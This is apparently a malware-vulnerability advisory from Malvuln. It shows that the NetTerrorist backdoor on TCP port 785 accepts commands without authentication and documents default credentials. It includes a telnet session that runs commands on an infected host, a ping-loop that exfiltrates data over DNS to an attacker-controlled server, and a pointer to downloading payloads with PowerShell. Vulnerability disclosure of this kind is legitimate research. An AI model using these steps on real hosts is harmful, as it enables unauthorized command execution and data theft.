Backdoor.Win32.NetTerrorist Authentication Bypass / Code Execution

Backdoor.Win32.NetTerrorist malware suffers from bypass and code execution vulnerabilities.

MD5 | 0c3156e0a08e087ee0ece6cec6b9dd35

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.NetTerrorist
Vulnerability: Unauthorized Remote Command Execution
Description: NetTerrorist listens on TCP port 785, it seemingly uses authentication like USER [user], PASS [pass]. Interestingly, you can just bypass authentication and run commands while ignoring any error messages. If you wish to logon the main account is "root" with password "root" which is easily guessed. Whether logged on correctly or not, when issuing commands you get errors like "JAJAAJJ 500 'EXEC' command not understood". Just ignore these messages as we can execute all types of commands on the infected system.
Type: PE32
MD5: 5131a9b441c9f9b20228f171c327a4f5
Vuln ID: MVID-2021-0081
Dropped files: Systray.exe
Disclosure: 02/09/2021

TELNET [Infected_Host_IP] 785

PhuCk y0u
USER root
331 Password required for root.
PASS abc123
530 Login incorrect.

exec cmd /k ping
500 'EXEC': command not understood.
exec calc
500 'EXEC': command not understood.
exec cmd /k dir
500 'EXEC': command not understood.
exec cmd /k taskkill /im ProcessHacker.exe
500 'EXEC': command not understood.

Execute tasklist command and write to file.

500 'EXEC': command not understood.
exec cmd /k tasklist > c:\out.txt

Grab the results using ping (OR finger.exe to C2) to ICMP exfil tunnel to a DNS server we control.
500 'EXEC': command not understood.
exec cmd /k for /f "delims=*" %a in (c:\1.txt) do ping -n 1 %a
500 'EXEC': command not understood.

On our DNS server we see:

msdtc.exe. ->
ShellExperienceHost.exe. ->
SearchUI.exe. ->
RuntimeBroker.exe. ->
SearchIndexer.exe. ->
vm3dservice.exe. ->
cmd.exe. ->
conhost.exe. ->
ApplicationFrameHost.exe. ->
Backdoor.Win32.NetTerrori. ->
tasklist.exe. ->

Issue taskkill to terminate the backdoor if you got the PID:

PhuCk y0u
exec cmd /c taskkill /f /pid 392
500 'EXEC' command not understood.

Connection to host lost.

You can also try to execute PowerShell to download your own filez.

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